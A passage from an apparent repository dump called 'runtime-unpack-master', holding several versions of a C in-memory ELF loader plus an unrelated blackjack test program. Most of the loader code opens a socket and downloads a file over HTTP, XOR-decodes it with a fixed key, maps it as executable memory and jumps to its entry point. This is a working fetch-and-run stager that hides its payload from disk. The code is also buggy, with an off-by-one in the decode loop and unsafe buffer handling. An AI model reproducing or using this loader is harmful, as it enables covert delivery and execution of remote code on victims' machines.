in_addr*)*(hostent->h_addr_list))); 281 | if (in_addr == (in_addr_t)-1) { 282 | fprintf(stderr, "error: inet_addr(\"%s\")\n", *(hostent->h_addr_list)); 283 | exit(EXIT_FAILURE); 284 | } 285 | sockaddr_in.sin_addr.s_addr = in_addr; 286 | sockaddr_in.sin_family = AF_INET; 287 | sockaddr_in.sin_port = htons(server_port); 288 | 289 | /* Actually connect. */ 290 | if (connect(socket_file_descriptor, (struct sockaddr*)&sockaddr_in, sizeof(sockaddr_in)) == -1) { 291 | perror("connect"); 292 | exit(EXIT_FAILURE); 293 | } 294 | 295 | /* Send HTTP request. */ 296 | nbytes_total = 0; 297 | while (nbytes_total < request_len) { 298 | nbytes_last = write(socket_file_descriptor, request + nbytes_total, request_len - nbytes_total); 299 | if (nbytes_last == -1) { 300 | perror("write"); 301 | exit(EXIT_FAILURE); 302 | } 303 | nbytes_total += nbytes_last; 304 | } 305 | 306 | /* Read the response. */ 307 | char *buffer_buffer = NULL; 308 | unsigned int i = 0; 309 | unsigned long LEN = 600; 310 | unsigned long cur_size = 0; 311 | buffer_buffer = (char*)malloc(sizeof(char)*LEN); 312 | 313 | // fprintf(stderr, "debug: before first read\n"); 314 | // nbytes_total = read(socket_file_descriptor, buffer_buffer, LEN); 315 | // write(STDOUT_FILENO, buffer_buffer, nbytes_total); 316 | while ((nbytes_total = read(socket_file_descriptor, buffer, BUFSIZ)) > 0) { 317 | // fprintf(stderr, "debug: after a read\n"); 318 | for(i=0;i < nbytes_total; i++){ 319 | buffer_buffer[cur_size + i] = buffer[i]; 320 | } 321 | cur_size += nbytes_total; 322 | LEN = LEN + BUFSIZ; 323 | buffer_buffer = (char*) realloc(buffer_buffer, LEN); 324 | } 325 | 326 | char *s = strstr(buffer_buffer, "\r\n\r\n"); 327 | int count = 0; 328 | for(i=0;i < LEN; i++){ 329 | if (buffer_buffer + i < s + 4){ 330 | count ++; 331 | continue; 332 | } 333 | break; 334 | 335 | } 336 | unsigned int filesize = (unsigned int)(LEN - count); 337 | char* buf = malloc(filesize); 338 | for(i=0;i < filesize; i++){ 339 | buf[i] = buffer_buffer[count + i]; 340 | } 341 | // for(i=0;i < filesize; i++){ 342 | // printf("%c",buf[i]); 343 | // } 344 | // exit(1); 345 | // fprintf(stderr, "debug: after last read\n"); 346 | if (nbytes_total == -1) { 347 | perror("read"); 348 | exit(EXIT_FAILURE); 349 | } 350 | 351 | close(socket_file_descriptor); 352 | /* 353 | * Now, our chunk.memory points to a memory block that is chunk.size 354 | * bytes big and contains the remote file. 355 | * 356 | * Do something nice with it! 357 | */ 358 | ptr = load_elf_image(buf, filesize); 359 | if(ptr) { 360 | printf("[*] jumping to %p \n----------------\n", ptr); 361 | 362 | asm volatile( 363 | "push $0\n" 364 | "push $0\n" 365 | "push $0\n" 366 | "push $0\n" 367 | "push $0\n" 368 | "push $0\n" 369 | "push $0\n" 370 | "push $0\n" 371 | "push $0\n" 372 | "push $0\n" 373 | "push $0\n" 374 | "push $0\n" 375 | "push $0\n" 376 | "push $0\n" 377 | "push $0\n" 378 | "push $0\n" 379 | "push $0\n" 380 | "push $0\n" 381 | "push $0\n" 382 | "push $0\n" 383 | "push $0\n" 384 | "push $0\n" 385 | "push $0\n" 386 | "push $0\n" 387 | "push $0\n" 388 | "push $0\n" 389 | "push $0\n" 390 | "push $0\n" 391 | "push $0\n" 392 | "push $0\n" 393 | "push $0\n" 394 | "push $0\n" 395 | "push $0\n" 396 | "push $0\n" 397 | "push $0\n" 398 | "push $0\n" 399 | "push $0\n" 400 | "push $0\n" 401 | "push $0\n" 402 | "push $0\n" 403 | "push $0\n" 404 | "push $0\n" 405 | "push $0\n" 406 | "push $0\n" 407 | "push $0\n" 408 | "push $0\n" 409 | "push $0\n" 410 | "push $0\n" 411 | "push $0\n" 412 | "push $0\n" 413 | "push $0\n" 414 | "push $0\n" 415 | "push $0\n" 416 | "push $0\n" 417 | //"push %2\n" 418 | //"push %1\n" 419 | "movl %3, %%edx\n" 420 | "movl $2, %%eax\n" 421 | "movl %1,%%edi\n" 422 | "LOOP:\n" 423 | "movl %2, %%ecx\n" 424 | "cmp %%edi, %%eax\n" 425 | "je SOMTHING\n" 426 | "movl %%edi, %%ebx\n" 427 | "imul $4,%%ebx\n" 428 | "add %%ebx, %%ecx\n" 429 | "sub $4, %%ecx\n" 430 | // "movl (%%ecx,%%ebx,4), %%esi\n" 431 | "push (%%ecx)\n" 432 | "dec %%edi\n" 433 | "jmp LOOP\n" 434 | "SOMTHING:\n" 435 | //push last one 436 | "movl %%edi, %%ebx\n" 437 | "imul $4,%%ebx\n" 438 | "add %%ebx, %%ecx\n" 439 | "sub $4, %%ecx\n" 440 | "push (%%ecx)\n" 441 | // "push %2\n" 442 | "movl %1, %%ecx\n" 443 | "dec %%ecx\n" 444 | "push %%ecx\n" 445 | "movl $0, %%eax\n" 446 | "movl $0, %%ebx\n" 447 | "movl $0, %%ecx\n" 448 | "movl $0, %%ebp\n" 449 | "movl $0, %%esi\n" 450 | "movl $0, %%edi\n" 451 | 452 | // "push $1\n" 453 | 454 | "jmp %%edx" 455 | : "=r" (result) 456 | : "rm" (argc), "pm" (argv), "p" (ptr) 457 | ); 458 | //ptr(argv,argc,argc,argc,argc,argc); // https://youtu.be/SF3UZRxQ7Rs 459 | } 460 | else { 461 | printf("[!] Quitting...\n"); 462 | } 463 | 464 | 465 | return 0; 466 | } 467 | 468 | 469 | /* 470 | 471 | int main1(int argc, char** argv, char** envp) 472 | { 473 | int (*ptr)(char **, int, int,int,int,int); 474 | FILE* elf = fopen(argv[1], "rb"); 475 | unsigned int filesz = getfilesize(argv[1]); 476 | char* buf = malloc(filesz); 477 | 478 | int result; 479 | fread(buf, filesz, 1, elf); 480 | fclose(elf); 481 | ptr = load_elf_image(buf, filesz); 482 | free(buf); 483 | 484 | if(ptr) { 485 | printf("[*] jumping to %p \n----------------\n", ptr); 486 | 487 | asm volatile( 488 | "push $0\n" 489 | "push $0\n" 490 | "push $0\n" 491 | "push $0\n" 492 | "push $0\n" 493 | "push $0\n" 494 | "push $0\n" 495 | "push $0\n" 496 | "push $0\n" 497 | "push $0\n" 498 | "push $0\n" 499 | "push $0\n" 500 | "push $0\n" 501 | "push $0\n" 502 | "push $0\n" 503 | "push $0\n" 504 | "push $0\n" 505 | "push $0\n" 506 | "push $0\n" 507 | "push $0\n" 508 | "push $0\n" 509 | "push $0\n" 510 | "push $0\n" 511 | "push $0\n" 512 | "push $0\n" 513 | "push $0\n" 514 | "push $0\n" 515 | "push $0\n" 516 | "push $0\n" 517 | "push $0\n" 518 | "push $0\n" 519 | "push $0\n" 520 | "push $0\n" 521 | "push $0\n" 522 | "push $0\n" 523 | "push $0\n" 524 | "push $0\n" 525 | "push $0\n" 526 | "push $0\n" 527 | "push $0\n" 528 | "push $0\n" 529 | "push $0\n" 530 | "push $0\n" 531 | "push $0\n" 532 | "push $0\n" 533 | "push $0\n" 534 | "push $0\n" 535 | "push $0\n" 536 | "push $0\n" 537 | "push $0\n" 538 | "push $0\n" 539 | "push $0\n" 540 | "push $0\n" 541 | "push $0\n" 542 | //"push %2\n" 543 | //"push %1\n" 544 | "movl %3, %%edx\n" 545 | "movl $2, %%eax\n" 546 | "movl %1,%%edi\n" 547 | "LOOP:\n" 548 | "movl %2, %%ecx\n" 549 | "cmp %%edi, %%eax\n" 550 | "je SOMTHING\n" 551 | "movl %%edi, %%ebx\n" 552 | "imul $4,%%ebx\n" 553 | "add %%ebx, %%ecx\n" 554 | "sub $4, %%ecx\n" 555 | // "movl (%%ecx,%%ebx,4), %%esi\n" 556 | "push (%%ecx)\n" 557 | "dec %%edi\n" 558 | "jmp LOOP\n" 559 | "SOMTHING:\n" 560 | //push last one 561 | "movl %%edi, %%ebx\n" 562 | "imul $4,%%ebx\n" 563 | "add %%ebx, %%ecx\n" 564 | "sub $4, %%ecx\n" 565 | "push (%%ecx)\n" 566 | // "push %2\n" 567 | "movl %1, %%ecx\n" 568 | "dec %%ecx\n" 569 | "push %%ecx\n" 570 | "movl $0, %%eax\n" 571 | "movl $0, %%ebx\n" 572 | "movl $0, %%ecx\n" 573 | "movl $0, %%ebp\n" 574 | "movl $0, %%esi\n" 575 | "movl $0, %%edi\n" 576 | 577 | // "push $1\n" 578 | 579 | "jmp %%edx" 580 | : "=r" (result) 581 | : "rm" (argc), "pm" (argv), "p" (ptr) 582 | ); 583 | //ptr(argv,argc,argc,argc,argc,argc); // https://youtu.be/SF3UZRxQ7Rs 584 | } 585 | else { 586 | printf("[!] Quitting...\n"); 587 | } 588 | return 0; 589 | } 590 | */ -------------------------------------------------------------------------------- /runtime-unpack-master/src/loader.c.bak: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | 10 | #include "loader.h" 11 | /* 12 | * Static ELF Loader for x86 Linux 13 | * 14 | */ 15 | 16 | void print_e(char* msg) 17 | { 18 | fputs(msg, stderr); 19 | } 20 | 21 | void unpack(char* elf_start, unsigned int size) 22 | { 23 | printf("[*] Unpacking in memory...\n"); 24 | for(unsigned int i = 0; i <= size; i++) 25 | { 26 | elf_start[i] ^= UNPACK_KEY; 27 | } 28 | } 29 | 30 | unsigned int getfilesize(char* path) 31 | { 32 | FILE* fp = fopen(path, "r"); 33 | if (fp == NULL) { 34 | print_e("[getfilesize] File Not Found!\n"); 35 | exit(0); 36 | } 37 | 38 | fseek(fp, 0L, SEEK_END); 39 | long int res = ftell(fp); 40 | fclose(fp); 41 | 42 | return res; 43 | } 44 | 45 | int is_image_valid(Elf32_Ehdr* hdr) 46 | { 47 | if(hdr->e_ident[EI_MAG0] == ELFMAG0 && // 0x7f 48 | hdr->e_ident[EI_MAG1] == ELFMAG1 && // 'E' 49 | hdr->e_ident[EI_MAG2] == ELFMAG2 && // 'L' 50 | hdr->e_ident[EI_MAG3] == ELFMAG3 && // 'F' 51 | hdr->e_type == ET_EXEC) { 52 | return -1; 53 | } 54 | else { 55 | return 0; 56 | } 57 | 58 | } 59 | 60 | 61 | void* symbol_resolve(char* name, Elf32_Shdr* shdr, char* strings, char* elf_start) 62 | { 63 | Elf32_Sym* syms = (Elf32_Sym*)(elf_start + shdr->sh_offset); 64 | int i; 65 | for(i = 0; i < shdr->sh_size / sizeof(Elf32_Sym); i += 1) { 66 | if (strcmp(name, strings + syms[i].st_name) == 0) { 67 | /* 68 | * In static ELF files, the st_value member is 69 | * not an offset but rather a virtual address itself 70 | * hence, it's not necessary to calculate an RVA. 71 | */ 72 | return (void *)syms[i].st_value; 73 | } 74 | } 75 | return NULL; 76 | } 77 | 78 | void* load_elf_image(char* elf_start, unsigned int size) 79 | { 80 | // declaring local vars 81 | Elf32_Ehdr *hdr = NULL; 82 | Elf32_Phdr *phdr = NULL; 83 | Elf32_Shdr *shdr = NULL; 84 | char *strings = NULL; // string table (offset in file) 85 | char *start = NULL; // start of a segment (offset in file) 86 | char *target_addr = NULL; // base addr of a segment (in virtual memory) 87 | void *entry = NULL; // entry point (in virtual memory) 88 | int i = 0; // counter for program headers 89 | 90 | // unpacking 91 | unpack(elf_start, size); 92 | 93 | // start proccessing 94 | hdr = (Elf32_Ehdr *) elf_start; 95 | printf("[*] Validating ELF...\n"); 96 | 97 | if(!is_image_valid(hdr)) { 98 | print_e("[load_elf_image] invalid ELF image\n"); 99 | return 0; 100 | } 101 | 102 | printf("[*] Loading/mapping segments...\n"); 103 | phdr = (Elf32_Phdr *)(elf_start + hdr->e_phoff); 104 | 105 | for(i=0; i < hdr->e_phnum; ++i) { 106 | if(phdr[i].p_type != PT_LOAD) { 107 | continue; 108 | } 109 | 110 | if(phdr[i].p_filesz > phdr[i].p_memsz) { 111 | print_e("[load_elf_image] p_filesz > p_memsz\n"); 112 | return 0; 113 | } 114 | 115 | if(!phdr[i].p_filesz) { 116 | continue; 117 | } 118 | 119 | start = elf_start + phdr[i].p_offset; 120 | target_addr = (char* )phdr[i].p_vaddr; 121 | 122 | if (LAST_LOADABLE_SEG(phdr, i)) { 123 | phdr[i].p_memsz += 0x1000; // extra-page padding 124 | } 125 | 126 | // allocating memory for the segment 127 | mmap(target_addr, phdr[i].p_memsz, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); // hotfix patched by BigShaq 128 | 129 | // moving things around *poof* 130 | memmove(target_addr,start,phdr[i].p_filesz); 131 | 132 | // setting permissions 133 | if(!(phdr[i].p_flags & PF_W)) { 134 | mprotect((unsigned char *) target_addr, 135 | phdr[i].p_memsz, 136 | PROT_READ); 137 | } 138 | 139 | if(phdr[i].p_flags & PF_X) { 140 | mprotect((unsigned char *) target_addr, 141 | phdr[i].p_memsz, 142 | PROT_EXEC); 143 | } 144 | } 145 | 146 | printf("[*] Looking for a .symtab section header...\n"); 147 | 148 | shdr = (Elf32_Shdr *)(elf_start + hdr->e_shoff); 149 | 150 | for(i=0; i < hdr->e_shnum; ++i) { 151 | if (shdr[i].sh_type == SHT_SYMTAB) { 152 | printf("[*] SHT_SYMTAB entry was found, looking for main() ...\n"); 153 | 154 | strings = elf_start + shdr[shdr[i].sh_link].sh_offset; 155 | entry = symbol_resolve("_rt0_386_linux", shdr + i, strings, elf_start); 156 | //entry = symbol_resolve("main.main", shdr + i, strings, elf_start); 157 | 158 | printf("[*] main at: %p\n", entry); 159 | break; 160 | } 161 | } 162 | 163 | return entry; 164 | } 165 | 166 | int main(int argc, char** argv, char** envp) 167 | { 168 | int (*ptr)(char **, int, int,int,int,int); 169 | FILE* elf = fopen(argv[1], "rb"); 170 | unsigned int filesz = getfilesize(argv[1]); 171 | char* buf = malloc(filesz); 172 | 173 | 174 | fread(buf, filesz, 1, elf); 175 | fclose(elf); 176 | ptr = load_elf_image(buf, filesz); 177 | free(buf); 178 | 179 | if(ptr) { 180 | printf("[*] jumping to %p \n----------------\n", ptr); 181 | asm volatile( 182 | "movl $0, %%eax\n" 183 | "movl $0, %%ebx\n" 184 | "movl $0, %%ecx\n" 185 | "pop %%edx\n" 186 | "pop %%edx\n" 187 | "pop %%edx\n" 188 | "pop %%edx\n" 189 | "movl $0, %%ebp\n" 190 | "movl $0, %%esi\n" 191 | "movl $0, %%edi\n" 192 | "push $0\n" 193 | "push $0\n" 194 | "push $0\n" 195 | "push $0\n" 196 | "push $0\n" 197 | "push $0\n" 198 | "push $0\n" 199 | "push $0\n" 200 | "push $0\n" 201 | "push $0\n" 202 | "push $0\n" 203 | "push $0\n" 204 | "push $0\n" 205 | "push $0\n" 206 | "push $0\n" 207 | "push $0\n" 208 | "push $0\n" 209 | "push $0\n" 210 | "push $0\n" 211 | "push $0\n" 212 | "push $0\n" 213 | "push $0\n" 214 | "push $0\n" 215 | "push $0\n" 216 | "push $0\n" 217 | "push $0\n" 218 | "push $0\n" 219 | "push $0\n" 220 | "push $0\n" 221 | "push $0\n" 222 | "push $0\n" 223 | "push $0\n" 224 | "push $0\n" 225 | "push $0\n" 226 | "push $0\n" 227 | "push $0\n" 228 | "push $0\n" 229 | "push $0\n" 230 | "push $0\n" 231 | "push $0\n" 232 | "push $0\n" 233 | "push $0\n" 234 | "push $0\n" 235 | "push $0\n" 236 | "push $0\n" 237 | "push $0\n" 238 | "push $0\n" 239 | "push $0\n" 240 | "push $0\n" 241 | "push $0\n" 242 | "push $0\n" 243 | "push $0\n" 244 | "push $0\n" 245 | "push $0\n" 246 | "push $1\n" 247 | "jmp %%edx\n" 248 | : "=p" (ptr) 249 | ); 250 | ptr(argv,argc,argc,argc,argc,argc); // https://youtu.be/SF3UZRxQ7Rs 251 | } 252 | else { 253 | printf("[!] Quitting...\n"); 254 | } 255 | return 0; 256 | } 257 | -------------------------------------------------------------------------------- /runtime-unpack-master/src/loader.c.bak.file: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | 10 | #include "loader.h" 11 | 12 | #include 13 | 14 | /* 15 | * Static ELF Loader for x86 Linux 16 | * 17 | */ 18 | 19 | void print_e(char* msg) 20 | { 21 | fputs(msg, stderr); 22 | } 23 | 24 | void unpack(char* elf_start, unsigned int size) 25 | { 26 | printf("[*] Unpacking in memory...\n"); 27 | for(unsigned int i = 0; i <= size; i++) 28 | { 29 | elf_start[i] ^= UNPACK_KEY; 30 | } 31 | } 32 | 33 | unsigned int getfilesize(char* path) 34 | { 35 | FILE* fp = fopen(path, "r"); 36 | if (fp == NULL) { 37 | print_e("[getfilesize] File Not Found!\n"); 38 | exit(0); 39 | } 40 | 41 | fseek(fp, 0L, SEEK_END); 42 | long int res = ftell(fp); 43 | fclose(fp); 44 | 45 | return res; 46 | } 47 | 48 | int is_image_valid(Elf32_Ehdr* hdr) 49 | { 50 | if(hdr->e_ident[EI_MAG0] == ELFMAG0 && // 0x7f 51 | hdr->e_ident[EI_MAG1] == ELFMAG1 && // 'E' 52 | hdr->e_ident[EI_MAG2] == ELFMAG2 && // 'L' 53 | hdr->e_ident[EI_MAG3] == ELFMAG3 && // 'F' 54 | hdr->e_type == ET_EXEC) { 55 | return -1; 56 | } 57 | else { 58 | return 0; 59 | } 60 | 61 | } 62 | 63 | 64 | void* symbol_resolve(char* name, Elf32_Shdr* shdr, char* strings, char* elf_start) 65 | { 66 | Elf32_Sym* syms = (Elf32_Sym*)(elf_start + shdr->sh_offset); 67 | int i; 68 | for(i = 0; i < shdr->sh_size / sizeof(Elf32_Sym); i += 1) { 69 | if (strcmp(name, strings + syms[i].st_name) == 0) { 70 | /* 71 | * In static ELF files, the st_value member is 72 | * not an offset but rather a virtual address itself 73 | * hence, it's not necessary to calculate an RVA. 74 | */ 75 | return (void *)syms[i].st_value; 76 | } 77 | } 78 | return NULL; 79 | } 80 | 81 | void* load_elf_image(char* elf_start, unsigned int size) 82 | { 83 | // declaring local vars 84 | Elf32_Ehdr *hdr = NULL; 85 | Elf32_Phdr *phdr = NULL; 86 | Elf32_Shdr *shdr = NULL; 87 | char *strings = NULL; // string table (offset in file) 88 | char *start = NULL; // start of a segment (offset in file) 89 | char *target_addr = NULL; // base addr of a segment (in virtual memory) 90 | void *entry = NULL; // entry point (in virtual memory) 91 | int i = 0; // counter for program headers 92 | 93 | // unpacking 94 | unpack(elf_start, size); 95 | 96 | // start proccessing 97 | hdr = (Elf32_Ehdr *) elf_start; 98 | printf("[*] Validating ELF...\n"); 99 | 100 | if(!is_image_valid(hdr)) { 101 | print_e("[load_elf_image] invalid ELF image\n"); 102 | return 0; 103 | } 104 | 105 | printf("[*] Loading/mapping segments...\n"); 106 | phdr = (Elf32_Phdr *)(elf_start + hdr->e_phoff); 107 | 108 | for(i=0; i < hdr->e_phnum; ++i) { 109 | if(phdr[i].p_type != PT_LOAD) { 110 | continue; 111 | } 112 | 113 | if(phdr[i].p_filesz > phdr[i].p_memsz) { 114 | print_e("[load_elf_image] p_filesz > p_memsz\n"); 115 | return 0; 116 | } 117 | 118 | if(!phdr[i].p_filesz) { 119 | continue; 120 | } 121 | 122 | start = elf_start + phdr[i].p_offset; 123 | target_addr = (char* )phdr[i].p_vaddr; 124 | 125 | if (LAST_LOADABLE_SEG(phdr, i)) { 126 | phdr[i].p_memsz += 0x1000; // extra-page padding 127 | } 128 | 129 | // allocating memory for the segment 130 | mmap(target_addr, phdr[i].p_memsz, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); // hotfix patched by BigShaq 131 | 132 | // moving things around *poof* 133 | memmove(target_addr,start,phdr[i].p_filesz); 134 | 135 | // setting permissions 136 | if(!(phdr[i].p_flags & PF_W)) { 137 | mprotect((unsigned char *) target_addr, 138 | phdr[i].p_memsz, 139 | PROT_READ); 140 | } 141 | 142 | if(phdr[i].p_flags & PF_X) { 143 | mprotect((unsigned char *) target_addr, 144 | phdr[i].p_memsz, 145 | PROT_EXEC); 146 | } 147 | } 148 | 149 | printf("[*] Looking for a .symtab section header...\n"); 150 | 151 | shdr = (Elf32_Shdr *)(elf_start + hdr->e_shoff); 152 | 153 | for(i=0; i < hdr->e_shnum; ++i) { 154 | if (shdr[i].sh_type == SHT_SYMTAB) { 155 | printf("[*] SHT_SYMTAB entry was found, looking for main() ...\n"); 156 | 157 | strings = elf_start + shdr[shdr[i].sh_link].sh_offset; 158 | entry = symbol_resolve("_rt0_386_linux", shdr + i, strings, elf_start); 159 | //entry = symbol_resolve("main.main", shdr + i, strings, elf_start); 160 | 161 | printf("[*] main at: %p\n", entry); 162 | break; 163 | } 164 | } 165 | 166 | return entry; 167 | } 168 | 169 | 170 | 171 | 172 | 173 | int main(int argc, char** argv, char** envp) 174 | { 175 | int (*ptr)(char **, int, int,int,int,int); 176 | FILE* elf = fopen(argv[1], "rb"); 177 | unsigned int filesz = getfilesize(argv[1]); 178 | char* buf = malloc(filesz); 179 | 180 | int result; 181 | fread(buf, filesz, 1, elf); 182 | fclose(elf); 183 | ptr = load_elf_image(buf, filesz); 184 | free(buf); 185 | 186 | if(ptr) { 187 | printf("[*] jumping to %p \n----------------\n", ptr); 188 | 189 | asm volatile( 190 | "push $0\n" 191 | "push $0\n" 192 | "push $0\n" 193 | "push $0\n" 194 | "push $0\n" 195 | "push $0\n" 196 | "push $0\n" 197 | "push $0\n" 198 | "push $0\n" 199 | "push $0\n" 200 | "push $0\n" 201 | "push $0\n" 202 | "push $0\n" 203 | "push $0\n" 204 | "push $0\n" 205 | "push $0\n" 206 | "push $0\n" 207 | "push $0\n" 208 | "push $0\n" 209 | "push $0\n" 210 | "push $0\n" 211 | "push $0\n" 212 | "push $0\n" 213 | "push $0\n" 214 | "push $0\n" 215 | "push $0\n" 216 | "push $0\n" 217 | "push $0\n" 218 | "push $0\n" 219 | "push $0\n" 220 | "push $0\n" 221 | "push $0\n" 222 | "push $0\n" 223 | "push $0\n" 224 | "push $0\n" 225 | "push $0\n" 226 | "push $0\n" 227 | "push $0\n" 228 | "push $0\n" 229 | "push $0\n" 230 | "push $0\n" 231 | "push $0\n" 232 | "push $0\n" 233 | "push $0\n" 234 | "push $0\n" 235 | "push $0\n" 236 | "push $0\n" 237 | "push $0\n" 238 | "push $0\n" 239 | "push $0\n" 240 | "push $0\n" 241 | "push $0\n" 242 | "push $0\n" 243 | "push $0\n" 244 | //"push %2\n" 245 | //"push %1\n" 246 | "movl %3, %%edx\n" 247 | "movl $2, %%eax\n" 248 | "movl %1,%%edi\n" 249 | "LOOP:\n" 250 | "movl %2, %%ecx\n" 251 | "cmp %%edi, %%eax\n" 252 | "je SOMTHING\n" 253 | "movl %%edi, %%ebx\n" 254 | "imul $4,%%ebx\n" 255 | "add %%ebx, %%ecx\n" 256 | "sub $4, %%ecx\n" 257 | // "movl (%%ecx,%%ebx,4), %%esi\n" 258 | "push (%%ecx)\n" 259 | "dec %%edi\n" 260 | "jmp LOOP\n" 261 | "SOMTHING:\n" 262 | //push last one 263 | "movl %%edi, %%ebx\n" 264 | "imul $4,%%ebx\n" 265 | "add %%ebx, %%ecx\n" 266 | "sub $4, %%ecx\n" 267 | "push (%%ecx)\n" 268 | // "push %2\n" 269 | "movl %1, %%ecx\n" 270 | "dec %%ecx\n" 271 | "push %%ecx\n" 272 | "movl $0, %%eax\n" 273 | "movl $0, %%ebx\n" 274 | "movl $0, %%ecx\n" 275 | "movl $0, %%ebp\n" 276 | "movl $0, %%esi\n" 277 | "movl $0, %%edi\n" 278 | 279 | // "push $1\n" 280 | 281 | "jmp %%edx" 282 | : "=r" (result) 283 | : "rm" (argc), "pm" (argv), "p" (ptr) 284 | ); 285 | //ptr(argv,argc,argc,argc,argc,argc); // https://youtu.be/SF3UZRxQ7Rs 286 | } 287 | else { 288 | printf("[!] Quitting...\n"); 289 | } 290 | return 0; 291 | } 292 | -------------------------------------------------------------------------------- /runtime-unpack-master/src/loader.h: -------------------------------------------------------------------------------- 1 | #define LAST_LOADABLE_SEG(prog_header, index) prog_header[index+1].p_type != PT_LOAD 2 | #define UNPACK_KEY 0xff 3 | 4 | void print_e(char *msg); 5 | void unpack(char* elf_start, unsigned int size); 6 | unsigned int getfilesize(char* path); 7 | int is_image_valid(Elf32_Ehdr* hdr); 8 | void* symbol_resolve(char* name, Elf32_Shdr *shdr, char* strings, char* elf_start); 9 | void* load_elf_image(char* elf_start, unsigned int size); 10 | 11 | -------------------------------------------------------------------------------- /runtime-unpack-master/tests/blackjack.c: -------------------------------------------------------------------------------- 1 | // Programmer: Vladislav Shulman 2 | // Final Project 3 | // Blackjack 4 | 5 | // Feel free to use any and all parts of this program and claim it as your own work 6 | 7 | //FINAL DRAFT 8 | 9 | #include 10 | #include 11 | #include 12 | #include //Used for srand((unsigned) time(NULL)) command 13 | #include //Used for system("cls") command 14 | 15 | #define spade 06 //Used to print spade symbol 16 | #define club 05 //Used to print club symbol 17 | #define diamond 04 //Used to print diamond symbol 18 | #define heart 03 //Used to print heart symbol 19 | #define RESULTS "Blackjack.txt" //File name is Blackjack 20 | 21 | //Global Variables 22 | int k; 23 | int l; 24 | int d; 25 | int won; 26 | int loss; 27 | int cash = 500; 28 | int bet; 29 | int random_card; 30 | int player_total=0; 31 | int dealer_total; 32 | 33 | //Function Prototypes 34 | int clubcard(); //Displays Club Card Image 35 | int diamondcard(); //Displays Diamond Card Image 36 | int heartcard(); //Displays Heart Card Image 37 | int spadecard(); //Displays Spade Card Image 38 | int randcard(); //Generates random card 39 | int betting(); //Asks user amount to bet 40 | void asktitle(); //Asks user to continue 41 | void rules(); //Prints "Rules of Vlad's Blackjack" menu 42 | void play(); //Plays game 43 | void dealer(); //Function to play for dealer AI 44 | void stay(); //Function for when user selects 'Stay' 45 | void cash_test(); //Test for if user has cash remaining in purse 46 | void askover(); //Asks if user wants to continue playing 47 | void fileresults(); //Prints results into Blackjack.txt file in program directory 48 | 49 | //Main Function 50 | int main(void) 51 | { 52 | int choice1; 53 | printf("\n"); 54 | printf("\n"); 55 | printf("\n"); 56 | printf("\n ██████╗ ██╗"); 57 | printf("\n ╚════██╗███║"); 58 | printf("\n █████╔╝╚██║"); 59 | printf("\n ██╔═══╝ ██║"); 60 | printf("\n ███████╗ ██║"); 61 | printf("\n ╚══════╝ ╚═╝"); 62 | 63 | printf("\n"); 64 | 65 | asktitle(); 66 | 67 | printf("\n"); 68 | printf("\n"); 69 | system("pause"); 70 | return(0); 71 | } //end program 72 | 73 | void asktitle() // Function for asking player if they want to continue 74 | { 75 | char choice1; 76 | int choice2; 77 | 78 | printf("\n Are You Ready?"); 79 | printf("\n ----------------"); 80 | printf("\n (Y/N)\n "); 81 | scanf("\n%c",&choice1); 82 | 83 | while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered 84 | { 85 | printf("\n"); 86 | printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n"); 87 | scanf("%c",&choice1); 88 | } 89 | 90 | 91 | if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu. 92 | { 93 | printf("\n---------\n"); 94 | printf("\nEnter 1 to Begin the Greatest Game Ever Played."); 95 | printf("\nEnter 2 to See a Complete Listing of Rules."); 96 | printf("\nEnter 3 to Exit Game. (Not Recommended)"); 97 | printf("\nChoice: "); 98 | scanf("%d", &choice2); // Prompts user for choice 99 | if((choice2<1) || (choice2>3)) // If invalid choice entered 100 | { 101 | printf("\nIncorrect Choice. Please enter 1, 2 or 3\n"); 102 | scanf("%d", &choice2); 103 | } 104 | switch(choice2) // Switch case for different choices 105 | { 106 | case 1: // Case to begin game 107 | printf("\n---------\n"); 108 | 109 | play(); 110 | 111 | break; 112 | 113 | case 2: // Case to see rules 114 | printf("\n---------\n"); 115 | rules(); 116 | break; 117 | 118 | case 3: // Case to exit game 119 | printf("\nYour day could have been perfect."); 120 | printf("\nHave an almost perfect day!\n\n"); 121 | system("pause"); 122 | exit(0); 123 | break; 124 | 125 | default: 126 | printf("\nInvalid Input"); 127 | } // End switch case 128 | } // End if loop 129 | 130 | 131 | 132 | else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program 133 | { 134 | printf("\nYour day could have been perfect."); 135 | printf("\nHave an almost perfect day!\n\n"); 136 | system("pause"); 137 | exit(0); 138 | } 139 | 140 | return; 141 | } // End function 142 | 143 | void rules() //Prints "Rules of Vlad's Blackjack" list 144 | { 145 | char choice1; 146 | int choice2; 147 | 148 | printf("\n RULES of VLAD's BLACKJACK"); 149 | printf("\n ---------------------------"); 150 | printf("\nI."); 151 | printf("\n Thou shalt not question the odds of this game."); 152 | printf("\n %c This program generates cards at random.", spade); 153 | printf("\n %c If you keep losing, you are very unlucky!\n", diamond); 154 | 155 | printf("\nII."); 156 | printf("\n Each card has a value."); 157 | printf("\n %c Number cards 1 to 10 hold a value of their number.", spade); 158 | printf("\n %c J, Q, and K cards hold a value of 10.", diamond); 159 | printf("\n %c Ace cards hold a value of 11", club); 160 | printf("\n The goal of this game is to reach a card value total of 21.\n"); 161 | 162 | printf("\nIII."); 163 | printf("\n After the dealing of the first two cards, YOU must decide whether to HIT or STAY."); 164 | printf("\n %c Staying will keep you safe, hitting will add a card.", spade); 165 | printf("\n Because you are competing against the dealer, you must beat his hand."); 166 | printf("\n BUT BEWARE!."); 167 | printf("\n %c If your total goes over 21, you will LOSE!.", diamond); 168 | printf("\n But the world is not over, because you can always play again.\n"); 169 | printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade); 170 | printf("\nWould you like to go the previous screen? (I will not take NO for an answer)"); 171 | printf("\n (Y/N)\n "); 172 | scanf("\n%c",&choice1); 173 | 174 | while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // 